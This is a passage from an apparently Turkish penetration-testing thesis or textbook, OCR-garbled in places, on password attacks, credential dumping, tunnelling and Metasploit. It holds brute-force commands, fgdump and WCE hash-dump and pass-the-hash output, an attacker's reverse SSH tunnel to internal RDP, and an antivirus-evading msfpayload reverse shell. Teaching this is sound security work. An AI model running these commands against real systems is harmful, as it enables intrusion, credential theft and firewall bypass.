4.7.2 Sozliik Dosyalan

“Sozliik dosyalar1” genellikle, ¢cok sayida ortak parola iceren metin dosyalaridir.
Bu parolalar, parola dosyalarini kabul eden sifre kirma araglariyla birlikte

kullanilmaktadir. S6zliikk dosyas1 manuel olarak da olusturulabilmektedir. Kali Linux
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icinde bazi sozliik dosyalar1 “/usr/share/wordlist” in altinda mevcuttur. Internet
lizerinde arama yaparak terabayt boyutlu sozliik saldiri dosyasi satin almak da

mumkuindiir.
4.7.3 Anahtarh Parola Kaba Kuvvet Saldirisi

Bu saldir1 tiiriinde tiim olas1 karakter kombinasyonlarini Kisi kendi istedigi
sekilde olusturabilir ve olusturulmus olan listeyi sifre kirma i¢in kullanabilir. Bu tiir
listeler olusturmak igin giiglii araglardan biri, Kali Linux dagitimin iginde mevcuttur.
Programin adi “crunch”dir. Crunch ile tanmimlanmis karakter kiimeleri ve parola
bicimleriyle 6zel sdzciik listelerini saldir1 yapilacak yere gore ayarlamak miimkiindiir.
Ornegin, Tiirkiye icin bir sozliik dosyasi olusturacak olursak rakamlarin yaninda

Ls,8,G vs. gibi dile 6zgii karakterleri de iceren harfleri eklemek gerekmektedir.

Sekil 4.43: “Crunch” araciyla olusturulmus sézliik saldirist ve boyutu.

4.7.4 Pwdump ve Fgdump

Microsoft isletim sistemlerinde kullanicilarin parola bilgileri “SAM” (Security
Account Manager) dosyasinda tutulmaktadir. Microsoft SAM veri tabanina ¢evrimdist
parola saldirilarin1 6nlemek i¢in SYSKEY 6zelligini tasiyan ikinci bir SYSTEM
dosyas1 barindirir. Eski Windows Isletim sistemlerinde kullanilan MD4 &zetleme
algoritmasi giiniimiizde kirilmasi ¢ok kolay bir hal aldigindan Microsoft yeni 6zetleme
algoritmasi olan MD5’a gegmistir. Windows 7 / Windows Server 2008’ den sonra da
Microsoft bu algoritmay1 kullanmistir. Bu gegisin en biiylik sebebi MD4 ile 6zeti
alinan parolanin LM (LAN Manager) olarak saklanmasi1 ve ¢ok kolay kirilmasidir. LM
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Ozetinin Ozelliklerinden birkag tanesi olarak; 7 karaktere kadar olusturulan sifreler,
biiyiik kiigiik harf duyarliliginin olmamasi gibi ¢abuk kirilan 6zellikler belirtilebilir.
NTLM [69] (New Technology LAN Manager) ozetlemesiyle LM 06zetlemesi
Microsoft tarafindan kaldirilmistir. Giiniimiizde Microsoft Windows 8.1 ve Windows
Server 2012 ile ozetleri daha karistk hale getirerek NTLMv2 olarak saklamaya
baglamistir. Windows ¢ekirdegi, dosya tizerinde 6zel bir sistem Kilidi kullanmaktadir.
Ancak bellek ici SAM 06zet degerlerini dokmek icin cesitli teknikler mevcuttur.
Pwdump ve fgdump [70] araglar1 bellek iginden sifre Gzetlerini gekmeye yarayan
araclardir. Bu iki yazilim, LSASS [71] (Local Security Authority Subsystem) yani
yerel giivenlik yetkisi alt sistemine DLL enjekte eder ve bellegin “dump” denilen bir
gblge kopyasini alir. Fgdump, pwdump'a ¢ok benzer bir sekilde calisir, ancak parola
karismalarini ve onbellege alinmis kimlik bilgilerini dokmeyi denemeden 6nce yerel

anti virisleri atlatmaya caligmaktadir.

C:\Users\ysriDesktopkfgdump.exe

fgDump 2.1.0 - fizzgig and the mighty group at foofus.net
Written to make jOm@kun’'s life just a bit easier

Copyright(C) 2008 fizzgig and foofus.net

fgdump comes with ABSOLUTELY NO WARRANTY?

This is free software, and you are welcome to redistribute it
under certain conditions: see the COPYING and README files for
more information.

Ho parameters specified, doing a local dump. Specify -? if you are looking for h
elp.

--- Session ID: 2018-83-23-13-44-54 ---

Starting dump on 127.0.0.1

== Beginning local dump

0S (127.80.0.1): HMicrosoft Windows Unknown Professional Serwvice Pack 1 (Build TEO|
1)

Passwords dumped successfully

Cache dumped successfully

Failed servers:
MONE

Successful servers:
127.8.0.1

Total failed: ©
Total successful: 1

C:\UsersiyysriDesktop>type 127 .0.0.1 . pudump

Admin: 1004 NO PASSWORD < exseresexeresemerersererrrx : NO PRASSWORD s reseserere 3 3e3e 36 2 3736 3676736 ;| 1
Administrator:5S00: HO PASSWORD s mrerm3xx : N PASSWOR D3¢ 3¢ 56 3¢ 3636 36 3636 96 3 3 36 3¢ 3¢
XD DD

Guest:501 :NO PASSWORD>xxxxxxxxxmx3xx2x 33 x¥ : N0 PRASSWOR D > 53¢ 33 3 3 3 3 MMM MMM ;1 1
aser1:10071 :NO PASSWORDxxxxxxxxxxxxxxxxxxxxx: 4 TBF 8039A850BCDETCS52H4A03FFE84BAYE : :
dser2: 1002 : NHO PASSWORD x> : 994 3CSEG3BY4D2CT1 04DBBCC15138B72B: : -
dser3: 1003 : NO PASSWORD s x e xa x> : SF18A8499CDDUYFY43DEIYZ2HAD3IACESAFT: :
Ysr: 1000 : NO PASSWORD s rererexax : NO PASSWORD = s a3 3323 33 M 273 M M : ; :

Sekil 4.44: “Fgdump.exe” calistirildigi zaman elde edilen parola 6zetleri.

4.7.5 Windows Kimlik Bilgileri Diizenleyici (WCE)

Windows Credential Editor (WCE) [72], Windows Kkimlik bilgileri
diizenleyicisidir. Windows’da NTLM kimlik bilgilerini hafizadan ¢ekmeye, Kerberos
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kimlik dogrulama da baska kullanicinin biletini (token) kendi {izerine yazmaya,
Windows kimlik dogrulama paketlerinden agik metin (clear text) olarak sifreleri

calmaya yarayan bir aragtir.

\userl\Desktop>wce.exe
Windows Credentidls Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)

userl:PENTESLAB:1E99D771A164613AF8F7E2800D43D301: 9D1A3A4DEAATIA7OOF58863BBB783AC8

\userl\Desktop>wce.exe -s testuser:domain:1E99D771A164613AFEREZE280@D43D301: 9D1A3A4DEAA71A7@RF58863BBB783ACS
2beta (Windows Credentials Editor) - (c) 2010-2013 Ampliz Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Changing NTLM credentials of current logon session (80@C3221h) tc:
Username: testuser

A164613AF8F7E2800D43D301
! BF58863BBB783AC8
NTLM credentials successfully changed!

\userl\Desktop>wce.exe
ta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.
NTESLAB:1ES9D7 64613AF8F7E2800D43D301:9D1A3A4DEAATIATOOF58863BBBY.
domain:1E99D7 64613AF8F7E2800D43D301:9D1A3A4DEAA7IATOOF58863BBB

7

Sekil 4.45: “WCE” arac1 “RAM?” iizerindeki parola 6zetinin diger kullaniciya aktarilmasi.

1 numarali “wce.exe” komutu calistirdiginda userl’in RAM’deki parola zet
degeri elde edilmistir. Elde edilen parola Ozeti “pass the hash” saldirilarinda
kullanilabilir.

2 numaral1 “wce.exe —S” parametresiyle 6zet degeri elde edilen kullanici etki
alanindaki bilgisayarlarda oturum agabildigi varsayilan bir kullanici olan testuser’in
Ozet bilgisiymis gibi atama yapilmistir.

3 numarada kullanicilarin 6zet bilgilerine bakildiginda RAM’de Windows

tarafindan iki kullanicinin ayni1 6zet bilgisine sahip oldugunu goriintiilenmistir.
4.7.6 Sifre Profilleme

Sifre profilleme, yapilacak saldirilarin bolgeye, kisiye, sisteme vs. gore
ozellestirme ¢aligmasidir. Bunun i¢in saldir1 yapilacak olan sisteme ait temel bilgiler
bile sifre profilleme adina ipucu vermektedir. Diinyanin kullanmis oldugu parolalar
her sene “en ¢ok kullanilan parola” diye diinyaca tinlii giivenlik sirketleri tarafindan
paylasilmaktadir. Sifre profilleme saldirisinda “cewl” [73] aracin1 kullanarak bir profil

olusturulabilir. Ornek bir senaryoda bir web sitesine saldirida bulunacak saldirganin,
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sirket web sitesinin i¢inde bulundurdugu bilgileri kullanacak sekilde sifre profili
olusturulmustur.
Megacorpone adli sirkete ait en az 6 hane olan 312 adet 6zel sozciik saldir

dosyasi Sekil 4.46’da olusturulmustur.

Sekil 4.46: “Cew]” araciyla istenilen siteye yonelik sozliik saldirisi profilleme.

4.7.7 Sifre Kombinasyon Olusturma

Cewl ile olusturulan listeyi daha da farklilastirarak parolalarini ¢esitli
kombinasyonlarla degistirmis olan kullanicilara yonelik bir sekilde saldir1 vektoriine
giic katilabilir. Kullanici parolalarinin sonuna birkag say1 eklenmesini, biiyiik harflerin
kiigiik harflerle degistirilmesini, belirli harflerin sayilara doniistliriilmesini vb. gibi
islemleri de g6z Oniine alarak bir sozliik dosyasi hazirlamak saldirgan tarafindan daha
profesyonel bir yaklasim olacagindan, “cewl!” ile olusturulan minimalist sifre listesi
biraz daha genisletilir. Bunu yapmak i¢in “John the Ripper” [74] aracini
kullanmaktadir. John, sifreleri evrimlestirmede c¢ok kapsamli bir yapilandirma

dosyasiyla birlikte Kali Linux igerisinde ticretsiz olarak gelmektedir. Sekil 4.47°de her
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bir sifreye bir say1 eklemek igin basit bir kural nasil yazilir, incelenmistir. John ile

yapilabilecek islemler i¢in [75] incelenebilir.

Sekil 4.47: “John” aractyla dnceden olusturulmusg sozliik dosyasini genigletme.

4.8 Cevrimici Sifre Ataklarn

Cevrimigi sifre saldirilart gogunlukla ag hizmetlerinde parola tahmin etme islemi
icin kullanilir. HTTP, SSH, VNC, FTP, SNMP, POP3, vb. protokollerde kullanict adi
ve parola dogrulamasi gerekir. Verilen bir ag hizmetine karsi bir parola saldirisini
otomatik hale getirebilmek i¢in, kullanimda olan 6zel protokol i¢in kimlik dogrulama
istekleri tiretebilmek gerekir. Hydra [76], Medusa [77], Ncrack [78] ve Metasploit gibi
araglar birgok ag protokollii kimlik dogrulama isleminde g¢evrimigi sifre saldirisi

yapabilmektedir.
4.8.1 Hydra, Medusa ve Ncrack
Sifre giivenligi denetimlerini gerceklestirmek i¢in en popiiler araglardan {igii

incelenecektir. Bu araglarin her biri birbirine benzer sekilde ¢alismaktadir.
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4.8.1.1 Http kaba kuvvet saldirisi

root@Kali:# medusa —h <Hedef_IP> -u admin -P password-file.txt -M http -m
DIR:/admin -T 10

4.8.1.2 RDP kaba kuvvet saldirisi

root@Kali:# ncrack —vv —user user —P password-file.txt rdp://<hedef IP>
4.8.1.3 SNMP kaba kuvvet saldirisi

root@Kali:# hydra —P password-file.txt —-v <Hedef_IP> snmp

4.8.1.4 SSH kaba kuvvet saldirisi

root@Kali:# hydra —| user —P password-file.txt <Hedef IP> ssh

4.9 Sifre Ozeti Ataklar

4.9.1 Parola Ozetleri

Parola ozetleri, kullanicilarin sifrelerinin veya kullanici adlarmin belirli bit
degerlerinin belirli algoritmalar kullanarak giivenli olarak saklanmasini ve kimlik
dogrulama asamasinda Ozet degerlerini tutan sisteme giivenli erisim yapmay1
saglamak amaciyla kullanilmaktadir. Isletim sistemleri, ag donanimi1 vb. parola dzet
degerlerini kullanmaktadir. Kimlik dogrulama islemi sirasinda, kullanici tarafindan
girilen sifrenin daha 6nce 6zet bilgi olarak kaydedilmis deger 6zetiyle karsilagtirilmasi
ve dogrulamasi anlamima gelmektedir. Tuzlama denilen yontemle de Ozet
alinmaktadir, tuzlama sifrenin belli sayida bit ile isleme sokarak 6zet degeri iiretme
islemidir. Tuzlama degeri bilinmeyen bir 6zet kirilsa dahi kullanicinin sifresine erigim

yapilamaz.
4.9.2 Sifre Kirma

Kriptolojide, sifre kirma, sifrelenmis 6zetten agik metin olarak sifreyi geri alma

islemidir. Ozet tiirii bilindikten sonra, parolay1 bulabilmek adma siklikla kullanilan
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yaklagim, parola i¢in tahminleri tekrar tekrar denemek yani kaba kuvvet saldirilaridir.
Sifre karma tamimlamaya c¢alisirken referans olarak kullanabileceginiz ortak

karmalarin bir listesi Openwall [79] web sitesinde bulunabilir.

4.9.3 John The Ripper

Bir sistemden sifre 6zeti alindiginda bu ozetlerin baz1 sistemlere erisebilmek
adina ag¢ik metin olarak kullanmak gerekmektedir. Parolalar1 6zetlerini kirmak igin en
popiiler araglarindan biri John the Ripper [80]. Johnny ise John’un arayiizii olarak
kullanilabilmektedir. Johnny ve John kaba kuvvet saldiri, sézliik saldirisi, gokkusagi

saldiris1 gibi bir¢ok saldir1 tipini yapmaktadir.
4.9.4 Gokkusag: Tablolar:

Kaba kuvvet saldirilar tiim olas1 diiz metinleri tek tek denediginden, genellikle
cok zaman almaktadir. Zamani azaltmak igin Onerilen yontem, tim kirma
hesaplamalar1 6nceden yapmak ve sonuglari bir ikili veritabani veya “Rainbow Table”
dosyasinda saklamaktir. Bu tablolarin Onceden hesaplanmasi uzun bir zaman
almaktadir, ancak 6n hesaplama bittiginde, geleneksel bir kaba kuvvet saldirisindan
cok daha hizli ¢aligmaktadir. Parola kirmada zorlugu arttirmak igin parolalar genellikle
karma hale gelmeden dnce rastgele bir degerle birlestirilir. Bu deger, tuz olarak bilinir
ve her parola i¢in benzersiz olmasi gereken degeri, bir veri tabaninda veya kimlik
dogrulama isleminde kullanilacak bir dosyada karma ile birlikte depolar. Tuzlamanin
birincil amaci, karma sifre veri tabani ¢atlama verimliligini biiyiik 6l¢iide gelistirmek

icin kullanilan “Rainbow Table” saldirilarinin olanaksizligini arttirmaktir.
4.9.5 Windows'ta Sifre Ozeti Kirma

Sifre 6zetini kirmak ¢ok zaman alabilir hatta cogu zaman miimkiin olmayabilir.
Pass-The-Hash (PTH) [81] yani sifre 6zetiyle parola atlatma olarak bilinen teknik, LM
INTLM/NTLMv2 6zetlerini kullanarak saldirgan kisinin hedef sisteme saldirirken

acik bir metin olarak bilmedigi parolay1 “hash” denilen sifre dzetiyle yapmaktadir.
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4.10 Port Yonlendirme ve Tiinel Olusturma

Port yonlendirme Ve tiinel agma teknikleri, sinirli ag ortamlarinda, hedeflenen
aglara erisim i¢in kullanilabilecek teknikler biitiiniidiir. Bu yontem temel olarak
istenilen bir paketin farkli bir yik tasima protokoli icerisinde iletilmesidir. Tiinel
olusturma teknikleri kullanilarak, belirli bir protokoliin uyumsuz bir dagitim agi
tizerinden taginmasi veya giivenilmeyen bir ag tizerinden giivenli bir yolun saglanmasi

mimkindiir.

4.10.1 Port iletme / Yonlendirme

Port iletme / yonlendirme, en basit ag trafigi manipiilasyon teknigidir. Belirli bir
IP adresi ve baglant1 noktasindaki trafigi kabul etmeyi ve ardindan trafigi farkl bir IP
adresine ve baglanti noktasina yonlendirmeyi igerir. Rinetd [82] araci ile port
yonlendirme uygun sekilde yapilandirilabilir. Kali Linux isletim sisteminde rinetd
aracinin indirilmesi “apt-get install rinetd” komutu ile terminal tizerinden yapilabilir.

Bir 6rnek ile agiklanacak olursa, ag yapilandirmasinda sadece TCP port 53'e
giden trafige izin verecek sekilde yapilandirilmis olsun. Bu demek olur ki internete
girmek istenildiginde izin verilen TCP port 53 oldugundan TCP port 80 yani internet
erisimi basarisiz olacaktir.

Rinetd aracini, herkese acik bir IP adresine sahip olan bir makinede bulunan TCP
baglant1 noktast TCP 53'ii dinleyecek sekilde kurulmugstur. Rinetd'i, 53 nolu baglant1
noktasinda gelen trafigi kabul edip ve daha sonra 80 nolu porta yani web sunucusuna
yonlendirmek icin rinetd'1 yapilandirmasi yapilabilir. Rinetd.conf dosyasindaki port

yeniden yonlendirme girdisi asagidakine benzer goriinecektir.
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# bindadress bindport connectaddress connectport
a.b.c.d 53 y.S.I.$ 80

@Web Sunucusu

V.S.I.8

Guvenlik Duvari Giden Baglanti
Kurali:
Yalniz TCP 53 Portuna izin ver

f 1

> Uzak Bilgisayar
Erisim yapmak igin ° a.b.cd

denenen adres:

http://y.s.r.s:80

Sekil 4.48: Ag cihazi tarafindan engellenen baglanti.

Web Sunucusu

y.s.r.s
Guvenlik Duvari Giden Baglanti
Kurali:
Yalmiz TCP 53 Portuna izin ver
Rinetd

Baglanti portu 53

Uzak Bilgisayar
a.b.cd

Erigim yapmak icin
denenen adres:
http://a.b.c.d:53

Sekil 4.49: “Rinetd” ile ag yonlendirme.

4.10.2 Pivoting

Ag igerisinde erisilemeyen bolgelere erisebilen bir vekil sunucu iizerinden
gerceklestirilen baglant: ile erisim yapilamayan bdlgelere erisme yontemidir. Igerik

filtreleme sistemleriyle kurum ¢alisanlarinin zararli olarak nitelendirilmis sistemlere
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(sitelere) erisimini kisitlayabilir. Ozellikle zararli igerige sahip sitelere ve igeriklerine
erisim engellenerek, son kullanici bilgisayarlarmin giivende kalmasi istenmektedir.
Baz1 sistemlerde yerel ag igerisinden son bilgisayarlarin dogrudan internet erisimi
bulunmamaktadir. Internet erisimi icin vekil sunucular iizerinden kontrollii olarak
internete ¢ikis saglatilmaktadir. Fakat internette 80 ve 443 portlarinda ¢alisan VPN
araglari veya SSH protokolii olan sunucular araciligi ile vekil sunucular da
atlatilabilmektedir. Internete gergeklestirilen trafik bu sunucular ile kurulan tiinel
igerisinden sifreli olarak tasinmaktadir. SSH protokolii a¢ik olan bir sunucu iizerinden
gerceklesen erisimlerde trafigi engelleyen mekanizmalarin engelleme kriterleri

atlatilmis olacaktir.
4.10.3 SSH Tiinelleme

SSH protokolii (Giivenli Kabuk protokolii), bir bilgisayardan digerine giivenli
bir sekilde erisim yapmak icin bir yontemdir. Gliglii kimlik dogrulama icin ¢esitli
alternatif segenekler sunar ve giiclii sifreleme ile iletisim giivenligini ve biitiinligilini

korur. SSH protokolii ile yapilabilen bir¢ok islem vardir.
4.10.3.1 Yerel Port Yonlendirme

SSH yerel baglanti noktasi iletimi, tasima protokolii olarak SSH'1 kullanarak
uzak bir sunucuya yerel bir baglanti noktasiyla tiinelleme yapmayi saglar. Port
yonlendirme ornegindeki ayni senaryo SSH yerel baglanti noktast yonlendirme
Ozelligini, asagidaki gibi benzer s6zdizimi kullanarak mevcut ¢ikis kisitlamasini
atlatmak i¢in kullanabilir:

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

Tiinel olusturulduktan sonra, ortak agdaki uzak makinede SSH baglanti noktasi
standart olarak TCP 22 olarak degil TCP 53 olarak yapilandirilmistir. Sebebi firewall
da DNS port 53’e izin verilmis olmasidir. TCP port 53 {izerinde giden SSH tiineli
trafigini web sunucusuna yonlendiren yerel baglant1 noktas1 8080'e goz atilir. Yerel
makine ile uzak bilgisayar, akan trafigin SSH {izerinden gectigini ve bu iki sistem

arasindaki trafigin SSH protokolii tarafindan sifrelendigi de unutulmamalidir.
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Guvenlik Duvari Giden Baglanti
Kurali:
Yalmiz TCP 53 Portuna izin ver

SSHD
Baglanti portu 53

Uzak Bilgisayar
a.b.cd

Yerel Port Yonlendirmesi
ssh a.b.c.d —p 53 —L 8080:y.s.r.s:80
http://127.0.0.1:8080

o Tunel Bitig Baglantisi

127.0.0.1:8080

Sekil 4.50: Yerel port yonlendirme.

4.10.3.2 Uzak port yonlendirme (Ters SSH tiinelleme)

SSH tiinel tekniklerinden biri de uzaktaki bir bilgisayardan yerel bilgisayara
uzak port yonlendirmektir. Kurum agmin disinda bulunan bir SSH (Secure Shell)
sunucuya erisim gerceklestirilmesi ile agik tutulan bu baglanti tizerinden, kurum
disindan  kurum  icindeki  bilgisayarlara  ters  tiinelleme ile  erisim
gerceklestirilebilmektedir.

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

Guvenlik Duvari Giden Baglanti
Kurali:
Yalniz TCP 53 Portuna izin ve

Saldirgan Bilgisayari
V.S.I.S

«':—J ‘ o Tunel Yapilmig
@ RDP portu 3390

P,
i

Saldirgan tarafindan
tiinelleme ile olusturulmus
RDP Baglanti Portu bir RDP uzak baglanti

127.0.0.1:3389 rdesktop 127.0.0.1:3390

Saldirgan tarafindan galistinlan zararh
baglanti servis komutu
ssh y.s.r.s —p 53 -R 3390:127.0.0.1:3389

Sekil 4.51: SSH uzak port yonlendirme.
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Sekildeki senaryoda kurum igerisindeki bilgisayardan internetteki y.s.r.s IP
adresli sunucuya SSH baglantist agilir. Bu baglanti iizerinden ters tiinelleme yapilarak
disaridaki y.s.r.s sunucusundan i¢ aga erisilebildigi gosterilmektedir.

Kurum ag1 disarisinda bulunan bir SSH (Secure Shell) sunucuya erisim,
kullanict bilgisayar tizerinde asagida gosterilen komut ile ¢aligtirilmaktadir.

ssh -R port:ic_p:ic_port:kullanici_adi@uzak_ip —p 443

Bu komut araciligi ile y.s.r.s SSH sunucusunun “<port>/tcp” portu tizerinden

kurum yerel ag1 i¢erisinde bulunan kullanici bilgisayarina erisim saglanabilmektedir.

4.10.3.3 Dinamik Port Yonlendirme

Asagida belirtilen komut ile SSH sunucu sistemine baglant1 gerg¢eklestirilmis ve
yerel kullanici bilgisayarinda “yerel proxy port/tcp” portu iizerinde ¢aligmakta olan
siire¢ baglamistir. —D parametresi, yani dynamic listener(D), port yonlendirme icin
belirtilen port numarasinda bir socket agilmasini saglayan SSH komutudur. Burada
gosterilen komut ile yerel kullanicinin “yerel proxy port” portu dinlemeye gegmistir.
Web “yerel proxy port” portu artik SSH tiineli yardimiyla disaridaki sunucuya
baglanmistir.

ssh -D <yerel proxy port > -p <remote port> <target>

4.10.4 Proxychains

Proxychains, herhangi bir programi HTTP, SOCKS4 ya da SOCKSS5 wvekil
sunucular lizerinden IP gizleyerek calistirmay1 saglayan aragtir. IP gizlemek ya da
firewall atlatmak icin kullanilan bu arag, ssh, telnet, wget, ftp, apt, nmap gibi

servislerin ve programlarin bu sunucular tizerinden ¢aligtirilmasini saglar.

4.10.5 DNS Tiinel Olusturma

DNS tiineli, DNS protokoliinii kullanarak agilan tiinel igerisinden http, ftp, ssh
gibi herhangi bir TCP/UDP paketini ge¢irme islemine denir.
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4.10.6 Meterpreter ile Tiinelleme

Bir agda bulunan bilgisayarin ele gecirilmesi sonucu agda bulunan diger
bilgisayarlara erisim hakkinin elde edilmesidir. Senaryoda saldirgan bilgisayarindan
yapilan saldir1 sonrasinda ele gegirilen bir bilgisayarin ag kartlarin1 kontrol ederek,
normal sartlarda bizim baglanti kuramayacagimiz fakat ele gecirdigimiz bilgisayarin

baglant1 kurabildigi aga “route” islemiyle yani yonlendirme islemiyle erisebilme

denenmistir.

meterpreter = run post/multi/ fautoroute

[!] SESSION may not be compatible with this module.

[*] nning module agai STEMCIBZXE64

[*] Searchina for subne

[+] Route added t . @ from ) -outing table.

[+] Route added t et . 5.8 from outing table.

[+1 N: from Blue

set smbuser ITSuser
) = set smbdomain example
} = set rhost 172.16.1.16
} = exploit

4444 via the meterpreter on s

16.1.16:445|example as user 'IIS

, OK if running a command or non-service executable...

Sekil 4.52: “Meterpreter” oturumundan “Route” iglemi ile diger aga atlama.

Sekil 4.52’de ele gecirilmis bir bilgisayarin meterpreter katmaninda “run
post/multi/manage/autoroute” modiiliiyle ag kartlarina yonlendirmeler yapilmistir.
10.10.10.0/24 aginda bulunan saldirgan 10.10.10.0/24 agindaki bir bilgisayar1 ele
gecirmis ve ele gegirdigi bilgisayarin ag kartlar1 arasinda yonlendirme yaparak

172.16.1.0/24°1ii aga erigim saglamistir.
4.11 Metasploit

Metasploit H.D. Moore tarafindan 2003 yilinda yazilan ve dinamik olarak
yenilenen exploit gelistirme ve kullanma aracidir. Baslangigta “Perl” programlama dili

ile yazilan Metasploit daha sonra “Ruby” programlama dili kullanilarak bastan

yazilmistir.
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Acik kaynak kodlu bir proje olan Metasploit Projesi Rapid7 tarafindan ele
almmistir. Rapid7, acik kaynak kodlu destek ve gelistirme islemini devam ettirken
Metasploit Community ve Metasploit PRO gibi iiriinleri de ¢ikartmistir. Bir diger
Rapid7 iiriinii olan Nexpose da a¢iklik tarayicisi ile entegre ¢alisabilmektedir.

Metasploit modiilleri “exploits, payloads, auxiliary, encoders ve nop” ’dur. Ruby
programlama dili ile yazilmigtir ve kaynak kodlar1 agiktir. En son Metasploit modiilleri

incelendiginde, binden fazla exploit kodu ve iki binden fazla “modiil” bulunmaktadir.
4.11.1 Metasploit Kullanic1 Arayiizleri

Metasploit ¢er¢evesini kullanmak i¢in en bilinen iki tip kullanici arayiizii vardir.
Terminale “msfconsole” komutu ya da “armitage” komutu yazilarak arayiizlere erigim
yapilabilmektedir.

Msfconsole: Metasploit aracinin konsol ara yiiziidiir. Metasploit aracinin hemen
hemen tiim yetenekleri bu arayiizden kullanilir. Metasploitin en sik kullanilan
arayiizidiir.

Msfcli: Metasploit aracinin isletim sistemi konsolundan tek komut ile dogrudan
exploit galistirmasina yarayan arayiizdiir. Ozellikle betiklerde Metasploit modiilleri
kullanilmak istendiginde ve msfconsole gibi interaktif erisimin miimkiin olmadigi
durumlarda kullanilir.

Ornek kullanim:

root@kali# msfcli exploit/windows/smb/psexec RHOST=<hedef sunucu>
PAYLOAD=windows/meterpreter/bind_tcp LHOST=<yerel port>

Msfpayload: Payload iiretmekte kullanilir.

Ornek kullanim:

root@kali# msfpayload windows/shell_bind_tcp EXITFUNC=seh
LPORT=<yerel port>

Msfencode: Payload kodlayici, IDS, IPS ve antiviriis’lerden korunma
arayiiziidiir.

Ornek kullanim:

root@kali# msfpayload windows/shell/reverse _tcp LHOST=<yerel sunucu>
LPORT=<yerel port> R | msfencode -e x86/shikata_ga_nai -c 3 -x /pentest/windows-

binaries/pstools/psexec.exe -t raw > RVR.R
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@ Metasploit - Projects % | #
€ 0a localhost: *B8 U ¥ A& =

[ ] = L Lt E 1 k| = ] [§ Metasploit - Projects
— Project v Account - B ¥ Adm\nlshallon} ?
[ﬁ]metasplowt L n

Quick Start Wizard Global Tools
Quick PenTest Phishing Web App Test Vulnerability Payload Custom
Campaign Validation Generator Segmentation

Testing Target

Hide News Panel

S oo

& nave HOSTS SESSIONS TASKS OWNER UPDATED DESCRIPTION v IIIIIIlIIIII

No data available i table

Project Listing

0 0 of 0 entries

Sekil 4.53: “Metasploit PRO” web arayiizii

Metasploit Pro [83] iicretli bir dagitim olup daha detayli bilgi [82] nolu
kaynakg¢adan elde edilebilir.

Armitage View Hosts Aftacks Workspaces Help |

» ﬁ‘ auxiliary

> [ exploit Input (<]
> ﬁ payload

» (B post Could not determine attack computer IP

What is it?

Cancel | | OK

Console X

Sekil 4.54: GUI tabanli “Metasploit” arayiizli alan “Armitage” araci.

80



4.11.2 Kali'de Metasploit Cerc¢evesinin Kurulmasi

Metasploit ¢ercevesi Kali Linux’de otomatik gelmis olmasina ragmen,
Metasploit’in bagli oldugu “postgresql” hizmeti etkin olmayabilir veya onyiiklemede
etkinlestirilmemis olabilir. Postgresql hizmetini baglatmak i¢in terminale yazilacak
komut “root@kali:~# systemctl start postgresqgl” ‘dir.

Bu hizmetin agilista baslamasin1 saglamak igin, systemctl'yi kullanarak
etkinlestirmek miimkiindiir.

root@kali:~# systemctl enable postgresgl
4.11.3 Metasploit Cercevesini Kesfetmek

MSF’in msfconsole kullanarak msf’in sunacagi modiiller ve eklentiler

arayiizden incelenebilir.

:~# msTconsole

metasty o1 T v4 .16 .46 -dev

1744 exploits - 1001 auxiliary - 302 post

536 payloads - 40 encoders - 10 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]

il
=
=
=

Sekil 4.55: Metasploit komut satirinin son durum bilgisi.

Exploits: A¢iklig1 somiiren kod pargalar1 exploits basligi (dizini) altinda tutulur.

Payloads: Exploit edildikten sonra elde edilen haklar ile hedef sunucuda
calistirilan kod parcalar1 bu baslikta (dizinde) tutulur.

Encoders: Antivirus, IPS/IDS gibi sistemleri atlatmak i¢in kodlama ile ilgili
programlar bu baglikta (dizinde) tutulur.

Auxiliary: Dogrudan zafiyet somiirme ile sonuglanmayan ve genelde bilgi
toplamaya yarayan diger yardimc1 modiiller bu baslikta (dizinde) tutulur.

Post-mods: Basarili olarak somiiriilen ve erisim elde edilen sistemlerde (mesela
meterpreter oturumu iizerinden) saldiriyr ilerletmek i¢in caligtirilan program ve

betikler bu baglikta (dizinde) tutulur.
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LIBRARIES INTERFACES_
- TOOLS =  Console
MSF Core

MSF Base

[~

Sekil 4.56: “Metasploit Framework™ yapis1 [84].

4.11.4 Yardimci Modiiller

4.11.4.1 Metasploit cercevesi sozdizimini

Metasploit Framework, protokol numaralandirma, port tarama, fuzzing, sniffing,
vb. gibi islevsellik saglayan yiizlerce yardimci modiil igerir. Modiiller, ortak s6zdizimi
kullanimlarin1  takip eder, bu modiillerin kesfedilmesini ve kullaniimasini
kolaylagtirmaktadir. MSF'yi ¢alistirmak icin gereken sz diziliminde birkag¢ yaygin
MSF yardime1 modiilii incelenebilir.

Calistirilabilir komutlar hakkinda yardim almak igin "help" komutu calistirilir.
"help jobs™ komutu ile "jobs" hakkinda bilgi alinabilir.

Sekil 4.57: Linux “Help” komutu.
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Belirli bir exploit modiiliinii aramak i¢in "search" komutu kullanilabilir. Ornegin

MS17 010 modiliinii aramak i¢in "search eternal” veya "search msl7_010"

komutlar1 ¢alistirilabilir.

Sekil 4.58: “MSF” konsolda arama komutu.

Sekil 4.58’de “eternal” yazilarak exploit kodu aratilmistir. Gelen sonuglardaki

alanlar siras1 ile exploit kodunun ismi, yayinlanma tarihi, exploit kodunun diizgiin

calisma oran1 ve agiklamasi seklindedir. Exploit kodunun c¢aligma basaris1 (Rank)

secenekleri agagidaki gibidir:

1.

2
3
4.
5
6
7

Excellent: Servis dis1 birakmayan basarili exploit kodlaridir.
Great: Hedef sistemin siiriim bilgisini tespit eder ve otomatik ayarlar yapar.
Good: Genel yapilandirmada diizgiin ¢aligir.

Normal: Tam olarak hedef sistemin siiriim bilgisini tespit edemez.

. Average: Giivensizdir. Sisteme zarar verebilir.
. Low: Nadiren diizgiin ¢alisir.

. Manual: Cok giivensizdir, genelde servis dig1 birakir.

Belirli bir exploit kodunu kullanmak i¢in

"use exploit/windows/smb/ms17_010_eternalblue" komutu kullanilir.

"show options" komutu ile exploit kodu ile ilgili secenekler goriintiilenir.

rhost: Exploit kodunun galistirilacagi uzak sunucu IP adresi

rport: Exploit kodunun calistirilacagi uzak servis port numarasi

"set" komutu ile bu parametreler ayarlanabilir.
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Sekil 4.59: “Metasploit” modiil kullanim 6rneklemesi

4.11.5 Exploit Modiilleri

